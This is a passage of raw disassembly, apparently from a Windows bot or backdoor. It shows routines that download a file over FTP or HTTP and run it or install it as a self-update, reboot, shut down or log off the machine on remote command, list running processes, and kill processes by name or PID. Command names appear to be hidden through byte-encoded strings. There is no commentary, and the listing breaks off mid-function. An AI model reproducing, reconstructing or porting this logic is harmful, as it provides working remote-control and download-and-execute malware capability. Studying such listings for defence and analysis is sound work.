arg_1150 = dword ptr 1154h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_434872
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_430390
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_43FDC8
lea edi, [esi+11h]
mov ecx, edi
call sub_4012B7
test eax, eax
jz loc_41C508
lea ebx, [esi+65h]
push offset byte_43FDC8
mov ecx, ebx
call sub_4012B7
test eax, eax
jz loc_41C508
lea ecx, [esi+26h]
push offset byte_43FDC8
call sub_4012B7
test eax, eax
jz loc_41C508
mov al, [esi+91h]
test al, al
jz short loc_41BEA1
push offset byte_43FDC8
lea ecx, [esi+3Bh]
call sub_4012B7
test eax, eax
jz short loc_41BE94
push offset byte_43FDC8
lea ecx, [esi+50h]
call sub_4012B7
test eax, eax
jnz short loc_41BEA1
loc_41BE94: ; CODE XREF: sub_41BE00+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41C510
; ---------------------------------------------------------------------------
loc_41BEA1: ; CODE XREF: sub_41BE00+70j
; sub_41BE00+92j
push offset asc_43BB68 ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_401622
push offset byte_43FDC8
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012B7
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_4011F9
test ebp, ebp
jz short loc_41BF2E
push offset asc_43BB68 ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_401622
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_401726
push eax
call ds:dword_4B3AEC
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_4011F9
test ebp, ebp
jnz short loc_41BF3F
loc_41BF2E: ; CODE XREF: sub_41BE00+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41BF3F: ; CODE XREF: sub_41BE00+12Cj
push offset asc_43BB68 ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_401622
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401E65
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_401726
push eax
call ds:dword_4B38E0
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_401564
mov al, [esi+91h]
test al, al
jz loc_41C0D4
call sub_401CD5
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_401726
push eax
call sub_401988
add esp, 8
test eax, eax
jnz short loc_41BFEC
lea ecx, [esi+7Ah]
call sub_4015F5
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_48873B
call sub_4010FF
mov [esp+38h+var_28], esi
lea edx, [esp+38h+var_28]
jmp loc_41C4E7
; ---------------------------------------------------------------------------
loc_41BFEC: ; CODE XREF: sub_41BE00+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_401726
push eax
lea ecx, [esi+3Bh]
call sub_401726
push eax
call sub_4020A4
add esp, 0Ch
test eax, eax
jnz short loc_41C043
lea ecx, [esi+7Ah]
call sub_4015F5
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_48873B
call sub_4010FF
lea eax, [esp+38h+var_28]
mov [esp+38h+var_28], esi
push eax
jmp loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C043: ; CODE XREF: sub_41BE00+20Dj
lea edi, [esi+7Ah]
mov ecx, edi
call sub_4015F5
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_48873B
call sub_4010FF
mov eax, [esp+38h+var_24]
lea ecx, [esi+26h]
push eax
push 49h
call sub_401726
push eax
mov ecx, ebx
call sub_401726
push eax
call sub_40161D
add esp, 10h
test eax, eax
jnz short loc_41C0C2
mov ecx, edi
call sub_4015F5
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_48873B
call sub_4010FF
lea eax, [esp+48h+var_38]
mov [esp+48h+var_38], esi
push eax
jmp loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C0C2: ; CODE XREF: sub_41BE00+28Dj
mov ecx, [esp+38h+var_24]
push ecx
call sub_401C2B
add esp, 4
jmp loc_41C34B
; ---------------------------------------------------------------------------
loc_41C0D4: ; CODE XREF: sub_41BE00+195j
lea ecx, [esp+28h+arg_20]
call sub_4013CF
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_4013CF
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_401726
push eax
call sub_4019AB
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41C157
lea ecx, [esi+7Ah]
call sub_4015F5
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_48873B
call sub_4010FF
lea ecx, [esp+38h+var_28]
mov [esp+38h+var_28], esi
push ecx
mov ecx, offset byte_4992AB
call sub_4011E5
push ebx
call ds:dword_4B3CA8
jmp loc_41C215
; ---------------------------------------------------------------------------
loc_41C157: ; CODE XREF: sub_41BE00+310j
push ebp
mov ecx, edi
call sub_401726
push eax
lea ecx, [esi+26h]
call sub_401726
push eax
lea edx, [esp+34h+arg_20]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+28h+arg_20]
push 0
call sub_401384
push eax
lea ecx, [esp+30h+arg_20]
call sub_401726
push eax
push ebx
call ds:dword_4B3C9C
lea edi, [esi+7Ah]
mov ecx, edi
call sub_4015F5
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_48873B
call sub_4010FF
push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_401726
push eax
call ds:dword_4B3A90
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41C250
mov ecx, edi
call sub_4015F5
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_48873B
call sub_4010FF
lea ecx, [esp+58h+var_48]
mov [esp+58h+var_48], esi
push ecx
mov ecx, offset byte_4992AB
call sub_4011E5
loc_41C215: ; CODE XREF: sub_41BE00+352j
lea ecx, [esp+58h+var_3C]
mov byte ptr [esp+58h+arg_1114], 3
call sub_4011F9
lea ecx, [esp+58h+var_C]
mov byte ptr [esp+58h+arg_1114], 2
call sub_4011F9
lea ecx, [esp+58h+var_24]
mov [esp+58h+arg_1114], 0FFFFFFFFh
call sub_4011F9
jmp loc_41C51B
; ---------------------------------------------------------------------------
loc_41C250: ; CODE XREF: sub_41BE00+3DBj
; sub_41BE00+484j ...
mov eax, [esp+48h+var_34]
push 0
lea edx, [esp+4Ch+arg_11C]
push 1000h
push edx
push eax
call ds:dword_4B3C6C
mov ebp, eax
test ebp, ebp
jle short loc_41C2C8
cmp ebp, 1000h
jge short loc_41C280
mov [esp+ebp+58h+arg_10C], 0
loc_41C280: ; CODE XREF: sub_41BE00+476j
xor edi, edi
test ebp, ebp
jle short loc_41C250
loc_41C286: ; CODE XREF: sub_41BE00+4A5j
push 4
lea ecx, [esp+edi+5Ch+arg_10C]
push offset asc_43BDCC ; "\r\n\r\n"
push ecx
call ds:dword_4B3ABC
add esp, 0Ch
test eax, eax
jz short loc_41C2A9
inc edi
cmp edi, ebp
jl short loc_41C286
jmp short loc_41C250
; ---------------------------------------------------------------------------
loc_41C2A9: ; CODE XREF: sub_41BE00+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41C2C8
loc_41C2B0: ; CODE XREF: sub_41BE00+4C6j
movsx edx, [esp+edi+58h+arg_10C]
push ebx
push edx
call ds:dword_4B3A88
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41C2B0
loc_41C2C8: ; CODE XREF: sub_41BE00+46Ej
; sub_41BE00+4AEj ...
mov edi, [esp+58h+var_44]
push 0
lea eax, [esp+5Ch+arg_10C]
push 1000h
push eax
push edi
call ds:dword_4B3C6C
mov ebp, eax
test ebp, ebp
jle short loc_41C318
cmp ebp, 1000h
jge short loc_41C2F8
mov [esp+ebp+68h+arg_FC], 0
loc_41C2F8: ; CODE XREF: sub_41BE00+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41C2C8
loc_41C2FE: ; CODE XREF: sub_41BE00+514j
movsx ecx, [esp+edi+68h+arg_FC]
push ebx
push ecx
call ds:dword_4B3A88
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41C2FE
jmp short loc_41C2C8
; ---------------------------------------------------------------------------
loc_41C318: ; CODE XREF: sub_41BE00+4E6j
push ebx
call ds:dword_4B3A94
add esp, 4
push edi
call ds:dword_4B3CA8
lea ecx, [esp+6Ch+var_50]
mov [esp+6Ch+arg_1100], 3
call sub_4011F9
lea ecx, [esp+6Ch+var_20]
mov [esp+6Ch+arg_1100], 2
call sub_4011F9
loc_41C34B: ; CODE XREF: sub_41BE00+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41C3E7
lea ebp, [esi+65h]
mov ecx, ebp
call sub_401726
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_4015F5
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_48873B
call sub_40178F
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41C4DF
push offset byte_43FDC8
mov ecx, ebp
call sub_401726
push eax
call sub_401262
add esp, 8
mov ecx, ebp
call sub_401726
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_4015F5
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_48873B
call sub_40178F
add esp, 18h
jmp loc_41C4DF
; ---------------------------------------------------------------------------
loc_41C3E7: ; CODE XREF: sub_41BE00+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_401726
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_4015F5
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 18h
lea edx, [esp+6Ch+var_50]
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 51h
push edx
call sub_4018DE
add esp, 24h
mov ecx, eax
mov [esp+6Ch+arg_1100], 5
call sub_401479
push eax
mov ecx, ebx
call sub_401479
push eax
call sub_401FBE
add esp, 8
lea ecx, [esp+6Ch+var_50]
mov bl, al
mov [esp+6Ch+arg_1100], 2
call sub_4011F9
test bl, bl
jz short loc_41C4BA
mov al, ds:byte_44072E
test al, al
jz short loc_41C489
push offset dword_4406CC
mov ecx, offset dword_441C08
call sub_4013F2
loc_41C489: ; CODE XREF: sub_41BE00+678j
mov al, ds:byte_440777
test al, al
jz short loc_41C4A1
push offset byte_4407A7
mov ecx, offset dword_441C08
call sub_40186B
loc_41C4A1: ; CODE XREF: sub_41BE00+690j
mov ecx, offset dword_441C08
call sub_401D20
push 1
mov ds:byte_499254, 0
call ds:dword_4B3AB8
loc_41C4BA: ; CODE XREF: sub_41BE00+66Fj
mov ecx, edi
call sub_401479
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_48873B
call sub_4010FF
loc_41C4DF: ; CODE XREF: sub_41BE00+597j
; sub_41BE00+5E2j
mov [esp+80h+var_68], esi
lea edx, [esp+80h+var_68]
loc_41C4E7: ; CODE XREF: sub_41BE00+1E7j
push edx
loc_41C4E8: ; CODE XREF: sub_41BE00+23Ej
; sub_41BE00+2BDj
mov ecx, offset byte_4992AB
call sub_4011E5
lea ecx, [esp+80h+var_4C]
mov [esp+80h+arg_10EC], 0FFFFFFFFh
call sub_4011F9
jmp short loc_41C51B
; ---------------------------------------------------------------------------
loc_41C508: ; CODE XREF: sub_41BE00+36j
; sub_41BE00+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41C510: ; CODE XREF: sub_41BE00+9Cj
push eax
mov ecx, offset byte_4992AB
call sub_4011E5
loc_41C51B: ; CODE XREF: sub_41BE00+44Bj
; sub_41BE00+706j
mov ecx, [esp+1Ch+arg_1148]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
sub_41BE00 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C710 proc near ; CODE XREF: sub_401A9Bj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C710
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_401726
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_4011F9
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+6Ch+var_3C]
push 10h
push edx
call sub_4018DE
add esp, 34h
push esi
mov ecx, eax
mov [esp+44h+var_4], 1
call sub_401726
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_4011F9
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+64h+var_24]
push 10h
push ecx
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 2
call sub_401726
add esi, 60h
push eax
push esi
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+40h+var_24]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+40h+var_C]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_41C710 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C890 proc near ; CODE XREF: sub_4010A0j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz short loc_41C8EB
push offset aSysReboot ; "sys(reboot)"
lea ecx, [edi+69h]
call sub_4015F5
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 14h
push 0
push 6
call ds:dword_4B3C14
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41C8EB: ; CODE XREF: sub_41C890+1Ej
lea ecx, [esi+32h]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz short loc_41C93A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_4015F5
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_48873B
call sub_40178F
add esp, 14h
push 0
push 5
call ds:dword_4B3C14
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41C93A: ; CODE XREF: sub_41C890+6Dj
lea ecx, [esi+60h]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz short loc_41C981
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_4015F5
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_48873B
call sub_40178F
add esp, 14h
push 0
push 4
call ds:dword_4B3C14
loc_41C981: ; CODE XREF: sub_41C890+BCj
pop edi
pop esi
xor al, al
pop ebx
retn 4
sub_41C890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C9D0 proc near ; CODE XREF: sub_401E15j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C9D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4018DE
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_401726
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+6Ch+var_3C]
push 10h
push edx
call sub_4018DE
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_401726
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+78h+var_3C]
push 10h
push ecx
call sub_4018DE
add esp, 3Ch
mov [esp+44h+var_4], 2
push esi
mov ecx, eax
call sub_401726
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+78h+var_3C]
push 10h
push eax
call sub_4018DE
add esp, 3Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_401726
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+78h+var_24]
push 10h
push edx
call sub_4018DE
add esp, 3Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_401726
add esi, 60h
push eax
push esi
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_4011F9
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_41C9D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41CC30 proc near ; CODE XREF: sub_401596j
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41CC30
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_41CDCA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_401807
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011AE
add esp, 4
test al, al
jz loc_41CDB2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4018DE
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_401479
push eax
mov ecx, edi
call sub_4015F5
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_48873B
call sub_4010FF
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_4011F9
lea ecx, [esp+60h+var_50]
call sub_40166D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_40147E
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_401898
push eax
lea ecx, [esp+64h+var_50]
call sub_401749
test al, al
jz short loc_41CDB2
mov ebp, ds:dword_4B38CC
loc_41CD3E: ; CODE XREF: sub_41CC30+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_4011FE
mov ecx, eax
call sub_401726
push eax
lea ecx, [esp+64h+var_50]
call sub_4011FE
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 20h
push 5DCh
call ebp
lea ecx, [esp+60h+var_50]
call sub_401078
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_401898
push eax
lea ecx, [esp+64h+var_50]
call sub_401749
test al, al
jnz short loc_41CD3E
loc_41CDB2: ; CODE XREF: sub_41CC30+62j
; sub_41CC30+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_40175D
mov al, 1
jmp loc_41D1E7
; ---------------------------------------------------------------------------
loc_41CDCA: ; CODE XREF: sub_41CC30+37j
lea ecx, [edi+32h]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_41CEBE
push offset dword_43B600
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_401622
push offset byte_43FDC8
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012B7
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
test bl, bl
jnz loc_41D1E5
push offset dword_43B600
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push offset dword_43B600
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_401479
push eax
push offset aKpS ; "kp: %s"
lea ecx, [esi+69h]
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
mov al, 1
jmp loc_41D1E7
; ---------------------------------------------------------------------------
loc_41CEBE: ; CODE XREF: sub_41CC30+1ACj
lea ecx, [edi+8Eh]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_41D025
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_40164F
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_401FB9
add esp, 4
test al, al
jz loc_41D00D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4018DE
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_401479
push eax
mov ecx, edi
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_48873B
call sub_4010FF
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_4011F9
lea ecx, [esp+60h+var_50]
call sub_401A4B
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_401406
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_401398
push eax
lea ecx, [esp+64h+var_50]
call sub_401285
test al, al
jz short loc_41D00D
mov ebx, ds:dword_4B38CC
loc_41CFA6: ; CODE XREF: sub_41CC30+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401050
mov ecx, eax
call sub_401726
push eax
push edi
push offset aD_S ; "%d. / %s"
mov ecx, ebp
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_48873B
call sub_40178F
add esp, 1Ch
push 5DCh
call ebx
lea ecx, [esp+60h+var_50]
call sub_401771
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_401398
push eax
lea ecx, [esp+64h+var_50]
call sub_401285
test al, al
jnz short loc_41CFA6
loc_41D00D: ; CODE XREF: sub_41CC30+2CFj
; sub_41CC30+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D025: ; CODE XREF: sub_41CC30+2A3j
lea ecx, [edi+0BCh]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_41D11C
push offset dword_43B600
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_401622
push offset byte_43FDC8
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012B7
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
test bl, bl
jnz loc_41D1E5
push offset dword_43B600
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_401726
push eax
call sub_40191F
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push offset dword_43B600
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_401479
push eax
push offset aKsS ; "ks: %s"
lea ecx, [esi+69h]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_48873B
call sub_40178F
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
mov al, 1
jmp loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D11C: ; CODE XREF: sub_41CC30+40Aj
lea ecx, [edi+60h]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_41D1E5
push offset dword_43B600
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_401622
push offset byte_43FDC8
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012B7
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
test bl, bl
jnz short loc_41D1E5
push offset dword_43B600
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_401726
push eax
call ds:dword_4B3AEC
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_4011F9
test ebx, ebx
jz short loc_41D1E5
push ebx
push offset aKpidS ; "kpid: %s"
lea ecx, [esi+69h]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_48873B
call sub_40178F
push ebx
call sub_4017DA
add esp, 1Ch
jmp short loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D1E5: ; CODE XREF: sub_41CC30+1F0j
; sub_41CC30+44Ej ...
xor al, al
loc_41D1E7: ; CODE XREF: sub_41CC30+195j
; sub_41CC30+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41CC30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41D380: ; CODE XREF: _294ADE7B:loc_401E88j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push (offset a0ac+26h)
